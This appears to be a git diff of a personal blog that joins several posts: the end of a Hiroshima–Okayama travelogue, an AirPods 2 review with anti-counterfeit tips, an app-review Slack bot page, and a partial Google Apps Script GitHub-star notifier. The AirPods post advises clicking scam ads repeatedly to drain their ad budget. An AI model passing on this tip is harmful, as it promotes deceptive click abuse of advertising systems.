  • Sensui Island
  • Referring directly to the local tourist map, I decided to go to Sensui Island first to see the scenery.
  • After getting off, I walked back to the “Fukuyama City Ferry Terminal” and took a ferry to Sensui Island (about 10 minutes).
  • The ship has an ancient charm, giving a sudden feeling of becoming a pirate king. Although the journey is short, being able to overlook the Seto Inland Sea and Sensui Island, and feel the breeze, is very comfortable.
  • After arriving on the island, I didn’t see any pedestrians, the island was desolate, the original Tomonoura Seaside Bathing Beach Visitor Center had also closed and was being prepared for demolition, the trails to other coasts up the mountain were closed due to falling rocks; only at the intersection, there was still a bathhouse restaurant in operation.

Beach

Beach

Tomo-no-Ura Beach is now just a quiet stretch of sand, with only the occasional sound of a group of sea ducks playing. (It’s my first time seeing saltwater ducks, not saltwater chickens.)

View

View

View

After about 15 minutes, with nowhere else to go, we waited for the ferry back; although the place was desolate, there were vending machines! On the way back, we took a closer look at Benten Island in the distance, a small island with a torii gate standing alone in the middle of the sea.

Tomo-no-Ura

View

View

View

Returning to Tomo-no-Ura as evening approached, we strolled to the harbor to see the evening lights and the Japanese-style castle town scenery. On the way, many people and photography enthusiasts were already sitting on the steps near the harbor, setting up their cameras, waiting for the sunset.

View

View

Tomo-no-Ura is famous for its invigorating and life-saving liquor, with a strong medicinal wine aroma on the road; because we had to rush back to Hiroshima, we took a bus back to Fukuyama before it got dark.

After returning to Fukuyama, we hopped on the train to Hiroshima, bidding farewell to this peaceful and serene city. For dinner, we bought a takeout barbecue box from “ Yakiniku Toshi Saruhashi Store “ on the way back to the hotel.

Food

Food

Also added two fried oysters from the convenience store (only 100 yen each).

Food

Food

Late-night snack was still over Y1000 at the convenience store.

Day 4 Kure, Hiroshima City Tour (Hiroshima Peace Memorial Museum, Hiroshima Castle, Shukkeien Garden)

View

View

Early in the morning, we checked out of Toyoko INN and headed to Hiroshima APA Hotel where we would stay that night.

View

View

View

After storing our luggage, we walked back to Hiroshima Station to catch a train to Kure (about 50 minutes). As we approached Kure, looking out the right window felt like taking the train back to Fulung, Yilan, with mountains on the left and the sea on the right, a pleasant view.

View

View

View

Upon exiting the station, you can visit the tourist information center to get a travel guide for Kure. (The design is really good!)

Following the signs, you can walk from the station to the Yamato Museum and the Maritime Self-Defense Force Kure Museum.

When you’re at the end of the bridge, don’t rush to descend. From the bridge, you can get a good view of the Maritime Self-Defense Force Wushi Archives - Submarine.

For future friends planning to visit Wushi and Hiroshima, Wushi can also take a boat to Miyajima and return to Hiroshima. I originally wanted to take a boat back to Hiroshima, but I missed the time, so I gave up this time.

Yamato Museum

Inside, there is a close-up view of the Yamato battleship from almost every angle, with detailed displays of battleships, war history, fighter planes, cannons, and more. It’s a must-visit for battleship enthusiasts and military fans. Additionally, there was a special exhibition on the history and design of Japanese aircraft carriers, including design sketches.

Maritime Self-Defense Force Wushi Archives

After leaving the Yamato Museum, walk towards the back to reach the Maritime Self-Defense Force Wushi Archives, where you can enter for free.

The museum mainly showcases the living environment, working environment, engines, mines, and history inside submarines.

The most special part is that you can actually enter the submarine and see the real cockpit, dormitory, captain’s room, control room, and use the periscope to view the external environment.

Wushe Shopping Street

After visiting the museum and approaching noon, getting ready to eat, I initially wanted to have Navy Curry directly, but after checking the reviews, it didn’t seem particularly special, so I walked back to Wushe Shopping Street to decide. (Actually quite far, in the opposite direction, took about 30 minutes to walk)

Finally chose to eat Wushe Cold Noodles, similar to cold noodles with pork bone char siu, the noodles are chilled, refreshing in taste, and the portion is quite large, so ordering a small portion is sufficient.

After eating, getting ready to head back to the station, I also bought “Fukuzumi Fried Red Bean Cake” on the way, which was sweet and oily, tasting quite ordinary; and also bought Navy Coffee and Curry as souvenirs on the way (subarucoffee_store/, the staff was very friendly and enthusiastic).

Walking back to the Wu Station and taking a train back to Hiroshima.

After returning to Hiroshima, the final tour of Hiroshima city area. There are three sightseeing bus routes available right outside Hiroshima Station (included in JR Pass), so you can choose the direction you want to go.

I want to visit Shukkeien (Hiroshima Museum) first, so I choose to take the red Maple Leaf bus.

Shukkeien

Shukkeien is located behind the Hiroshima Museum, and you can also buy a combined ticket for Shukkeien + Hiroshima Museum when purchasing tickets.

Shukkeien is a very exquisite small garden with many miniature landscapes, such as maple leaves, flowing water under small bridges, bamboo groves, pine trees, hills, etc. It’s nice to take a walk and enjoy the scenery.

Hiroshima Castle

Next stop is a leisurely walk to Hiroshima Castle. The original Hiroshima Castle was destroyed in the atomic bombing, and the current Hiroshima Castle is a reconstruction. It looks very new, not very tall, and you can’t see much scenery from the main keep.

Peace Memorial Museum, Peace Memorial Park

The last stop is back to the Peace Memorial Park, next to which is the Paper Crane Tower (not very tall, didn’t go in).

Just happened to encounter Shingo Takatori coming to pay his respects in the afternoon.

Queue up to buy tickets to visit the Peace Memorial Museum, which has a very rich history of the nuclear bombing process, history, as well as data photos and objects; the overall visit is very heavy and shocking.

On the other side of the park, there is also a memorial hall, but it was too heavy to go in.

In the evening, a drizzle started, matching the mood of just having seen a painful historical lesson, and returned to Hiroshima Station.

Bought some souvenirs at the station and a bento box to take away, then returned to the hotel to rest, still need to do laundry today.

APA’s president is really everywhere, President’s curry, President’s water, President’s book…

The room density is as dense as usual, with over 60 rooms on one floor.

The room is small, but well-equipped, and the electronic facilities are very convenient (you can see the laundry room dynamics in the room, and the TV can directly Airplay).

Encountered a big trouble when doing laundry, long queues, with only 7 washing machines for over 1000 rooms in the building. Finally, seized the right timing, queued downstairs when the washing machine was about to finish, and finally finished washing and drying clothes around 11 o’clock (not dry yet, continue to hang in the room).

It was so late, it was very reasonable to have a late-night snack today! Still Y1000 + milk + convenience store ready-to-eat food.

Day 5 Kurashiki, Okayama

Early in the morning, the weather was beautiful and sunny; checked out of the hotel, said goodbye to Hiroshima, and headed to Kurashiki to leave luggage at the hotel (can also leave it in Okayama first, as you need to go to Okayama before going to Kurashiki).

Kurashiki Bikan Historical Quarter, Achi Shrine

First stop at Achi Shrine, located at a higher altitude overlooking the entire Kurashiki area, very quiet with few people.

Atsushi Shrine is not big but famous for its Ema Pavilion. If you draw a bad fortune, you can tie it under the corresponding animal head according to your zodiac sign. There is also the “Hanawa Musubi” for seeking good relationships (source):

Hanawa Musubi, thanks to Angie.

The area is not large but very quiet and pleasant to stroll around. As the boat tickets were sold out that day, we didn’t get a chance to experience it, but walking around the nearby alleys was also very comfortable.

For lunch, we had the famous curry set meal at Miyake Shoten. The curry was rich and delicious, especially paired with burdock strips.

After eating, we continued our stroll and when we got tired, we went to have the “Fruit Parfait” at Parlor Kudamachi (where the staff wears maid costumes from the Taisho era). The Okayama Seio grapes with fruit ice cream were sweet to the point of numbness.

For souvenirs, you can buy the collagen-rich Okayama fruit jelly from GOHOBI, a specialty of Kurashiki.

Okayama Korakuen Garden Illumination, Okayama Castle

As the sun set, we took the train back to Okayama Station, where we could directly take a tram to the area around Okayama Castle.

First stop at Okayama Korakuen Garden, the evening illumination feels romantic and beautiful.

Okayama Korakuen Garden + Okayama Castle hold illumination events in mid to late November every year.

On the way, visit the neighboring Okayama Castle to see the night view, which has a unique charm with the maple leaves illuminated.

Dinner was easily settled by having Ichiran ramen on the spot, then strolling back to Okayama Station (the street lights were beautiful along the way). Before returning to Kurashiki, there was some time to browse through the discount store (Don Quijote), but there were not many souvenirs, so you have to go to Okayama Station or department stores to find them…

Upon returning to Kurashiki, it was already evening, the weather was cold, and people on the street were rushing home. The outlet behind Kurashiki Station had also closed.

Only then did I realize that the hotel did not have a 24-hour front desk, luckily I didn’t come back too late! However, the hotel room facilities were very complete, with a microwave, kettle, and glasses cleaning machine.

Hotel Livemax Kurashiki Ekimae

On the last night in Japan, I simply had convenience store chicken nuggets + a ¥1000 bill and bought an extra bottle of white peach strawberry milk as a midnight snack before falling asleep.

Day 6 Okayama, Return Journey

In the early morning just as the day was breaking, I checked out and headed to Okayama.

Planning to take the airport shuttle from Okayama back to the airport, there is also a direct shuttle from Kurashiki to Okayama Airport but with fewer trips ( For details, please refer to the official website ). Since I hadn’t finished exploring Okayama yesterday, I decided to head straight to Okayama and then return from there.

Kibitsu Shrine

Upon arriving at the station, head straight to Kibitsu Shrine (about a 30-minute drive). It takes another 15 minutes to walk from the station to reach the shrine, which features a historic cypress corridor, ginkgo trees, and historical buildings, perfect for a leisurely visit.

There is another Kibitsu Shrine on the other side of the mountain, which you can also visit on the way, but due to time constraints, we skipped it this time.

Okayama AEON

After returning to Okayama Station, head to the nearby AEON department store to buy souvenirs, shop around, have a tempura soba lunch, and then prepare to catch the airport shuttle back to Okayama Airport.

There are many people waiting for the shuttle, but there is no need to worry about not getting on the bus, as extra buses are scheduled to ensure everyone reaches the airport.

Okayama Momotaro Airport (OKJ)

The airport is a bit dated, similar in size to Kumamoto Airport, and by around 13:50, you will have completed security check-in and departure procedures, with about 2 hours left until the 15:25 departure time.

The airport has very few flights, with only passengers from the same flight. Check-in and baggage drop-off take less than 15 minutes. An interesting feature is that the X-ray machine at Okayama Airport is located in the airport lobby. After passing through the X-ray, seal your luggage before proceeding to check-in (if you open your luggage, you will be asked to go through security again).

After dropping off your luggage on the terminal floor (only 2 floors in total), take a stroll around. There is an observation deck for viewing, as well as a cafe and several restaurants to grab a bite to eat. When you’re tired, treat yourself to a white peach ice cream cone.

Security check is also quick, but at Okayama Airport, you need to remove your boots for the check, which can be a bit inconvenient.

In case of flight delays, wait in the boarding area until finally taking off at 16:24 (almost an hour delay).

Farewell, Okayama, farewell, Hiroshima.

Souvenir Unboxing

Interlude

Following the “2023 Kyushu 10-Day Solo Trip” a few days ago, there was a lingering sense of loneliness, being alone in unfamiliar places and hardly speaking any Japanese for 10 days. The memory of that loneliness remains fresh, so there isn’t much desire to go back. The trip was mainly due to the upcoming work commitments and the opportunity of getting a super discounted flight ticket.

On the first day, while exchanging for the JR Pass, I coincidentally got stuck, met a group of Taiwanese who were also stuck, took turns trying with them, and coincidentally, she was also heading to Hiroshima. We both bought tickets for the next train, coincidentally both wanted to go to the convenience store first, and coincidentally, we were in the same industry, so we had a lot to talk about. Both traveling alone, we ended up forming a group and completing the same itinerary together on the first day.

Many itineraries, attractions, and time arrangements are provided by Angie. If I were to travel on my own, I might wander around or miss out, and end up walking alone for 6 days.


KKday Promotion

More Travelogues

Feel free to contact me for any questions or feedback.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Travelogue 2023 Kyushu 10-Day Solo Trip

Slack & ChatGPT Integration

diff --git a/posts/33afa0ae557d/index.html b/posts/33afa0ae557d/index.html new file mode 100644 index 0000000000..5e27ab8b25 --- /dev/null +++ b/posts/33afa0ae557d/index.html @@ -0,0 +1 @@ + AirPods 2 Unboxing and Hands-On Experience | ZhgChgLi
Home AirPods 2 Unboxing and Hands-On Experience
Post
Cancel

AirPods 2 Unboxing and Hands-On Experience

AirPods 2 Unboxing and Hands-On Experience (Laser Engraved Version)

More ingenious, incredibly amazing.

[Latest] Apple Watch Series 6 Unboxing & Two-Year Experience >>>Click Here

When AirPods first came out, I didn’t pay much attention; at first glance, they just looked like a showerhead-shaped wireless Bluetooth earphone. At that time, the wireless Bluetooth earphone market was also very competitive, with various styles and needs being met, and the price wasn’t friendly either. What was so special about it?

It wasn’t until I actually got my hands on it that I felt its “amazing” aspect. Since its launch, AirPods have consistently ranked among the top in Bluetooth earphone sales, not just because of Apple fans’ loyalty. So, what’s so good about it? Let’s continue to find out.

[True Fragrance Meme](https://www.ettoday.net/news/20181227/1341755.htm){:target="_blank"}

True Fragrance Meme

Background

I was originally just a simple iPhone user. Last year, I got a MacBook Pro and an Apple Watch S4, and started falling into the Apple ecosystem (commonly known as the Apple Family Bucket). Having bought the watch, the only thing missing was a pair of earphones.

The Bluetooth earphones I was using had been in service for a while. They were decent, not bad but not particularly outstanding either. The sound quality was average, and the battery life was good. The pain points were unclear calls, signal interference, long press to turn on/off, pairing wait time, and unclear battery indicators. These were all minor issues. I mainly used them for commuting and exercising, and mostly used speakers or wired earphones in front of the computer, so they met my basic needs.

After the launch of AirPods 1st generation, most of my friends had good experiences with them. This time, I decided to follow the trend and get the AirPods 2nd generation.

p.s. Since I haven’t used the 1st generation, my considerations for purchasing won’t include comparisons with the 1st generation (this article also won’t mention differences with the 1st generation).

Choosing, Wireless or Wired Version?

The price difference between the wireless and wired versions is $1,200. Initially, I considered buying the wireless version, thinking about the messy charging cables on my bedside table and the convenience of carrying one less cable when traveling.

After Apple announced the cancellation of AirPower, I searched online for similar products and bought a 2-in-1 wireless charging pad for iPhone and Apple Watch. Since iPhone and AirPods don’t need to be charged simultaneously, it could be used as a 3-in-1 alternately.

Everything seemed perfect until I received the product and found that it couldn’t charge the phone and watch simultaneously. The watch’s charging was almost zero, and the speed was very slow. Even using a 5.1V/2.1A adapter didn’t help. I wasn’t sure what voltage adapter to use. Checking online reviews, this issue wasn’t isolated. I ended up returning it.

After thinking about it, it’s just two cables (AirPods and iPhone both use lightning/Apple Watch has a dedicated cable), and wired charging is faster. Wireless charging requires the pad, the cable, and possibly a larger adapter. Comparatively, there’s no significant convenience advantage.

So I ultimately chose the wired version of AirPods 2.

p.s. The difference between the wireless and wired versions is only in the charging case. The wired version is the same as the 1st generation (indicator light inside); the wireless version has the indicator light outside and can also be charged with a cable.

Ordering

From announcement to sale (in Taiwan), it took about a month. I checked the official website daily, hoping it was available, just like many other netizens XD. The wait was agonizing, as other countries had already started selling!

On 4/23, as soon as it was available, I placed my order. AirPods 2 offers laser engraving (engraving), so I couldn’t resist and had it engraved:

ΛVICII ◢ ◤ — Official Preview Image

ΛVICII ◢ ◤ — Official Preview Image

In memory of the Swedish legendary music producer AVICII

“One day you’ll leave this world behind So live a life you will remember.” Avicii — The Nights

Can engrave 11 characters, including Chinese/English/symbols/spaces; in practice, most symbols should work. If not supported, it will display “Unable to engrave these characters:”, so no need to worry about garbled text.

p.s Engraving requires an additional week of waiting. Without engraving, you can buy directly at 101 or through a dealer (cheaper price).

The official estimated delivery time is: 5/3~5/10. On 4/29, I was notified that it was shipped from Shanghai, and luckily, I received it on 4/30 before the May Day holiday (super fast!! from Shanghai to Taipei).

Unboxing!

AirPods 2 Unboxing

Outer Packaging

Outer Packaging

Unfolded

Unfolded

Close-up of the Body

Close-up of the Body

Full Body Shot

Full Body Shot

Contents Inside

Contents Inside

Unboxing ends! The overall feel is substantial, with excellent hand feel and texture. The engraving is also very delicate; it meets the standard of Apple products!

Usage

First Use:

For the first use of brand new AirPods, just open the AirPods case near the iPhone, and it will prompt you to complete the pairing; no need to press the pairing button.

Setting Up Earphone Operations:

Mobile Version:

Open "Settings" -> "Bluetooth" -> "Find your AirPods" -> "Settings"

Open “Settings” -> “Bluetooth” -> “Find your AirPods” -> “Settings”

MacBook Version:

Top left "" -> "System Preferences" -> "Bluetooth" (If there's no sound, change the sound output to AirPods)

Top left “” -> “System Preferences” -> “Bluetooth” (If there’s no sound, change the sound output to AirPods)

You can choose the double-tap action for the left and right ear.

Tap position is below the small hole on the upper side of the earphone body:

I actually figured out the position after some exploration

I actually figured out the position after some exploration

Some Tips

Quickly switch back to using on iPhone:

Pull up the menu -> Select the audio block -> Select the top right icon -> Switch to AirPods

Pull up the menu -> Select the audio block -> Select the top right icon -> Switch to AirPods

You can also check the AirPods battery here. (Shows the battery of the one with lower battery)

Method to check battery using widgets:

Swipe left to Control Center -> Bottom "Edit" -> Find "Battery" to add and sort

Swipe left to Control Center -> Bottom “Edit” -> Find “Battery” to add and sort

In the future, you can directly swipe left to Control Center to check the AirPods battery (shows the battery of the one with lower battery). To see the battery of both ears and the case, you need to put one AirPod back in the case and open the case (since the case itself does not have Bluetooth functionality):

![Inside the box is the dustproof sticker I applied](/assets/33afa0ae557d/1qoUfpf1Jh_jVrHN_l3QRew.jpeg)

Inside the box is the dustproof sticker I applied

There is a BUG here. If your battery widget shows the battery level and then disappears, go to “Settings” -> “Display & Brightness” -> “Text Size” -> Adjust back to the default size (third notch) and it will be fixed!

Apple Watch Battery Check Method:

Swipe up Control Center -> Tap Battery

Swipe up Control Center -> Tap Battery

The battery display window on the Apple Watch will also show the AirPods battery level at the bottom.

p.s. But it seems there is a BUG sometimes it won’t display

Additional Information about Battery:

  1. When the AirPod battery is low, you will hear a tone in one or both AirPods. You will hear a tone once when the battery is low, and another tone before the AirPods turn off.
  1. If the AirPods are in the charging case and the lid is open, the indicator light shows the charging status of the AirPods. If the AirPods are not in the case, the light shows the status of the case. Green means fully charged, and amber means less than one full charge remains.

— Taken from official documentation

User Experience

Before sharing my experience, let me mention a recent entrepreneurial story I heard; in short, it goes: “When making a product, we should not target a wide range but choose a small niche and gradually expand.”

The biggest difference between AirPods and other brands of Bluetooth earphones is the impeccable attention to small details. For example, when you take one earbud out, the music automatically pauses, and it resumes when you put it back. You can use them directly when taken out, and put them back when not in use, without worrying about turning them on or off or connecting them. In terms of comfort, you can hardly feel their presence when wearing them.

The charging speed is incredibly fast, and they automatically charge when placed in the case. So you only need to occasionally check if the case has power (the case can charge the AirPods about 5 times). You won’t encounter the issue of needing to use Bluetooth earphones only to find them out of power and having to wait for them to charge slowly.

The latency is as rumored; you can hardly feel any delay when watching videos or playing games (I tested it with a racing game).

Hey Siri feature, at first, I thought it was redundant since I have a watch that can also activate Hey Siri from a distance. But after actual use, as mentioned above, it’s all about “detail experience.” The Hey Siri feature on AirPods is on another level; you don’t even need to raise your hand to activate it. Just call out Hey Siri, and it works, truly making Siri feel omnipresent. This feature is particularly convenient when doing housework or holding things in both hands. Additionally, you can call Siri to adjust the volume: “Hey Siri! Louder,” “Hey Siri! Set volume to 75%.”

In summary, using AirPods feels like:

“Everything is so natural.”

You don’t need to focus on unnecessary things; earphones should just be earphones.

Call quality is also impressive. Besides stable basic call quality, the microphone quality is comparable to that of a professional mic, which is amazing. In my test call with a friend, he couldn’t even tell I was using AirPods!

Wearing while riding: I was initially excited to wear them while riding to listen to navigation. However, a friend who already had the first generation said, “No,” because with more than 3/4 of helmets, the process of putting on the helmet would press on the ears, making the earphones easy to fall off. My actual test confirmed this, so I suggest only wearing one earbud while riding for safety.

Disadvantages:

I still need to mention some drawbacks I found.

The number of gestures you can control is too limited. I’m really used to controlling volume with gestures (though fortunately, I can control Spotify volume with my watch).

Also, while the connection speed to the phone is indeed fast, the connection speed to the computer is slow. My MacBook Pro 2018 is quite slow, but my other Mac Mini connects as quickly as the phone.

The TESTV review channel also mentioned that their MacBook Pro, when used with an external display while closed, would have intermittent signal issues with AirPods (I haven’t experienced this).

Why are there these differences? I guess it’s due to other signal interferences (lights, screen output, other Bluetooth devices)?

Debunking Myths:

  1. The size and shape are the same as wired earpods, and they fall out easily: First, the size and shape are different from earpods. I find earpods a bit loose, but AirPods feel very stable, even when jumping around. However, this varies from person to person. Some people may indeed find them unsuitable. I recommend borrowing a friend’s AirPods to try before buying! *Or stick some artificial skin on the earphone head to increase area and resistance

  2. The sound quality is similar to earpods: As mentioned above, there’s actually a big difference. AirPods have much better sound quality. Although they may not match the sound quality of similarly priced earphones that focus on sound quality and lack noise-canceling features, AirPods are not designed for sound quality. It’s a trade-off based on personal preference. In my experience, the sound quality is immersive, with a wide sound range, and overall, it doesn’t disappoint!

Accessories:

Since I have butterfingers, AirPods are like an egg to me, and I’m afraid I’ll drop and break them. After reading many protective case recommendations, many people recommended this one: Catalyst AirPods Waterproof Case (Protective Case).

The reasons for choosing this are: waterproof, drop-proof, has a hook, and is convenient to use (you don’t need to remove it when taking out the earphones or charging).

Price: Around $1000

[![Unboxing Catalyst AirPods Protective CaseApple earphone](/assets/33afa0ae557d/7645_hqdefault.jpg “Unboxing Catalyst AirPods Protective CaseApple earphone”)](http://www.youtube.com/watch?v=XD8Lvp1vR1M){:target=”_blank”}

Mini Unboxing:

Front view, I bought a dark color because I'm afraid of dirt

Front view, I bought a dark color because I’m afraid of dirt

The back also has a corresponding pairing button

The back also has a corresponding pairing button

You only need to flip open the top part to take out the earphones

You only need to flip open the top part to take out the earphones

The bottom charging port has a cover that can be opened and closed

The bottom charging port has a cover that can be opened and closed

p.s. To use the AirPods immediately, I actually bought the case before the AirPods 😂

Question from users: Can the protective case be used for both the 1st and 2nd generation?

The distinction is not between the 1st or 2nd generation but between the wired or wireless version. If you have the wired version, both the 1st and 2nd generations can use it. The wireless version has an indicator light on the outside and the pairing button on the back is more centered, so it cannot share the same protective case with the wired version. Please note this ⚠️

Next is the dustproof sticker inside the case:

AHA AirPods Dustproof Sticker

AHA AirPods Dustproof Sticker

Question from users about the fit:

If not applied properly, it won’t fit well. I had to adjust it for a long time to make it fit perfectly. The edges might feel a bit rough (not affecting usage, possibly due to tolerance?).

It’s not easy to apply because the dustproof sticker is a metal piece, and the case itself has a magnet that easily attracts it when you’re trying to align it.

Currently, I feel it’s a bit redundant. I’m not sure how effective it will be after some time, so I’m reserving judgment for now.

Anti-Fraud Awareness

Please be especially careful, as there are now high-quality counterfeit versions with cracked chips that also show pairing animations and battery levels, making it almost impossible to distinguish from the real ones by appearance.

The main ways to identify them currently are through software:

  1. Battery display: The genuine one shows the battery levels for the left ear, right ear, and case separately, while the counterfeit only shows one.
  2. In Bluetooth settings, the genuine one allows you to set the tap functions for the left and right ears, while the counterfeit only has disconnect and forget options.
  3. The indicator light on the genuine charging case turns off after connecting, while the counterfeit one stays on.

However, it’s uncertain if future counterfeit versions will fix these issues, so it’s safer to buy from official or large retail channels.

⚠️ Unscrupulous merchants are now even more rampant, selling counterfeits at prices close to the genuine ones ⚠️

Recently, on Facebook and Google ad networks, I found unscrupulous merchants selling counterfeits at prices close to the genuine ones (the website is a common one-page scam site), which is very malicious. I think if you’re trying to save money and buy AirPods for around $1000, you should be aware that they are likely fake. But selling counterfeits at genuine prices is extremely low!

Please note, the price of brand new AirPods should not be lower than $4500.

Scam, unknown sellers

Scam, unknown sellers

If you accidentally placed an order, refuse to accept it if it’s cash on delivery. If you have already received it, immediately call the courier company to request a return (be firm). If you have any issues, you can join the FB Shopping Ad Victims Self-Help Group.

If you see such ads, directly click the top right corner to report to Facebook/Google, or click the ad repeatedly to quickly burn through their ad budget.

Additionally, if you find counterfeit AirPods or Apple products, do not tolerate them. Whether it’s from unknown websites, one-page shopping scams, Shopee, or Ruten, make sure to contact the Intellectual Property Protection Brigade to handle it.

Or selling the 1st generation as the 2nd generation?

Second generation box image

Second generation box image

Please confirm:

  • AirPods 2 model: A2031, A2032
  • AirPods 1 model: A1523, A1722
  • Production year: ≥ 2019

For detailed comparison between the 1st and 2nd generation, please refer to this article: AirPods First Generation vs Second Generation Identification Tips, Distinguish Them with These 5 Tricks

Other interesting unboxing and experience videos

Ubiquitous Earphones AirPods 2nd Generation【Is It Worth Buying Episode 331】

Tech Close-Up: AirPods 2 Review Still the Most Worry-Free Bluetooth Earphones

How about a full Apple family set?

Want to know the hands-on experience of Apple Watch Series 6?

Apple Watch Series 6 Unboxing & Two-Year Experience >>> Click Here

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Perfect Implementation of One-Time Offers or Trials in iOS (Swift)

First Experience with Smart Home - Apple HomeKit & Xiaomi Mijia

diff --git a/posts/33f6aabb744f/index.html b/posts/33f6aabb744f/index.html new file mode 100644 index 0000000000..0913dffc62 --- /dev/null +++ b/posts/33f6aabb744f/index.html @@ -0,0 +1 @@ + ZReviewsBot — Slack App Review Notification Bot | ZhgChgLi
Home ZReviewsBot — Slack App Review Notification Bot
Post
Cancel

ZReviewsBot — Slack App Review Notification Bot

ZReviewsBot — Slack App Review Notification Bot

Free and open-source iOS & Android APP latest review tracking Slack Bot

TL;DR [2022/08/10] Update:

Now redesigned using the new App Store Connect API and relaunched as “ ZReviewTender — Free and Open-source App Reviews Monitoring Bot “.

====

ZhgChgLi / ZReviewsBot

[ZReviewsBot](https://github.com/ZhgChgLi/ZReviewsBot){:target="_blank"}

ZReviewsBot

ZReviewsBot is a free, open-source project that helps your app team automatically track the latest reviews of apps on the App Store (iOS) and Google Play (Android) platforms and send them to a designated Slack Channel for you to understand the current app status in real-time.

  • ✅ Uses updated, more reliable API Endpoint to track iOS app reviews (Technical Details)
  • ✅ Supports dual-platform review tracking for iOS & Android
  • ✅ Supports keyword notification skip feature (to avoid spam ads)
  • ✅ Customizable settings, as you wish
  • ✅ Supports deployment of Schedule Auto Bot using Github Action

[2022/07/20 Update]

App Store Connect API now supports reading and managing Customer Reviews, this bot will implement this in future updates, replacing the method of using Fastlane — Spaceship to fetch reviews from the backend.

Origin

Following the previous article “ AppStore APP’s Reviews Slack Bot “, I researched and completed a new iOS review fetching tool. I thought it might be suitable as a Side Project Open Source for friends with the same problem.

Flow

Further Reading

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

AppStore APP’s Reviews Bot Insights

Building a Fully Automated WFH Employee Health Reporting System with Slack

diff --git a/posts/382218e15697/index.html b/posts/382218e15697/index.html new file mode 100644 index 0000000000..564a9cea94 --- /dev/null +++ b/posts/382218e15697/index.html @@ -0,0 +1,485 @@ + Using Google Apps Script to Create a Free Github Repo Star Notifier in Three Steps | ZhgChgLi
Home Using Google Apps Script to Create a Free Github Repo Star Notifier in Three Steps
Post
Cancel

Using Google Apps Script to Create a Free Github Repo Star Notifier in Three Steps

Using Google Apps Script to Create a Free Github Repo Star Notifier in Three Steps

Writing GAS to connect Github Webhook and forward star notifications to Line

Introduction

As a maintainer of open-source projects, it’s not for money or fame, but for a sense of vanity; every time I see a new ⭐️ star, I feel a secret joy in my heart. It means that the project I spent time and effort on is really being used and is helpful to friends with the same problems.

[Star History Chart](https://star-history.com/#ZhgChgLi/ZMarkupParser&Date){:target="_blank"}

Star History Chart

Therefore, I have a bit of an obsession with observing ⭐️ stars, frequently refreshing Github to see if the number of ⭐️ stars has increased. I wondered if there was a more proactive way to get notifications when someone stars the repo, without having to manually check.

Existing Tools

First, I considered looking for existing tools to achieve this. I searched Github Marketplace and found some tools created by experts.

I tried a few of them, but the results were not as expected. Some were no longer working, some only sent notifications every 5/10/20 stars (I’m just a small developer, even 1 new ⭐️ makes me happy 😝), and some only sent email notifications, but I wanted SNS notifications.

Moreover, installing an app just for “vanity” didn’t feel right, and I was concerned about potential security risks.

The Github App on iOS or third-party apps like GitTrends also do not support this feature.

Creating Your Own Github Repo Star Notifier

Based on the above, we can actually use Google Apps Script to quickly and freely create our own Github Repo Star Notifier.

Preparation

This article uses Line as the notification medium. If you want to use other messaging apps, you can ask ChatGPT how to implement it.

Ask [ChatGPT](https://chat.openai.com){:target="_blank"} how to implement Line Notify

Ask ChatGPT how to implement Line Notify

lineToken:

  • Go to Line Notify
  • After logging into your Line account, scroll to the bottom to find the “Generate access token (For developers)” section

  • Click “Generate token”

  • Token Name: Enter the title name you want for the bot, which will be displayed before the message (e.g. Github Repo Notifier: XXXX)
  • Choose where the message will be sent: I chose 1-on-1 chat with LINE Notify to send messages to myself via the LINE Notify official bot.
  • Click “Generate token”

  • Select “Copy”
  • And note down the Token, if you forget it later, you will need to regenerate it, it cannot be viewed again.

githubWebhookSecret:

  • Copy & note down this random string

We will use this string as a request verification medium between Github Webhook and Google Apps Script.

Due to GAS limitations, it is not possible to obtain Headers content in doPost(e), so the standard Github Webhook verification method cannot be used, and string matching verification can only be done manually with ?secret= Query.

Create Google Apps Script

Go to Google Apps Script, click the top left corner “+ New Project”.

[**Google Apps Script**](https://script.google.com/home/start){:target="_blank"}

Google Apps Script

Click the top left “Untitled project” to rename the project.

Here I named the project My-Github-Repo-Notifier for easy identification in the future.

Code input area:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+
// Constant variables
+const lineToken = 'XXXX';
+// Generate yours line notify bot token: https://notify-bot.line.me/my/
+const githubWebhookSecret = "XXXXX";
+// Generate yours secret string here: https://www.random.org/strings/?num=1&len=32&digits=on&upperalpha=on&loweralpha=on&unique=on&format=html&rnd=new
+
+// HTTP Get/Post Handler
+// Do not open Get method
+function doGet(e) {
+  return HtmlService.createHtmlOutput("Access Denied!");
+}
+
+// Github Webhook will use Post method to come in
+function doPost(e) {
+  const content = JSON.parse(e.postData.contents);
+  
+  // Security check to ensure the request is from Github Webhook
+  if (verifyGitHubWebhook(e) == false) {
+    return HtmlService.createHtmlOutput("Access Denied!");
+  }
+
+  // star payload data content["action"] == "started"
+  if(content["action"] != "started") {
+    return HtmlService.createHtmlOutput("OK!");
+  }
+
+  // Combine message
+  const message = makeMessageString(content);
+  
+  // Send message, can also be sent to Slack, Telegram...
+  sendLineNotifyMessage(message);
+
+  return HtmlService.createHtmlOutput("OK!");
+}
+
+// Method
+// Generate message content
+function makeMessageString(content) {
+  const repository = content["repository"];
+  const repositoryName = repository["name"];
+  const repositoryURL = repository["svn_url"];
+  const starsCount = repository["stargazers_count"];
+  const forksCount = repository["forks_count"];
+
+  const starrer = content["sender"]["login"];
+
+  var message = "🎉🎉「"+starrer+"」starred your「"+repositoryName+"」Repo 🎉🎉\n";
+  message += "Current total stars: "+starsCount+"\n";
+  message += "Current total forks: "+forksCount+"\n";
+  message += repositoryURL;
+
+  return message;
+}
+
+// Verify if the request is from Github Webhook
+// Due to GAS limitations (https://issuetracker.google.com/issues/67764685?pli=1)
+// Cannot obtain Headers content
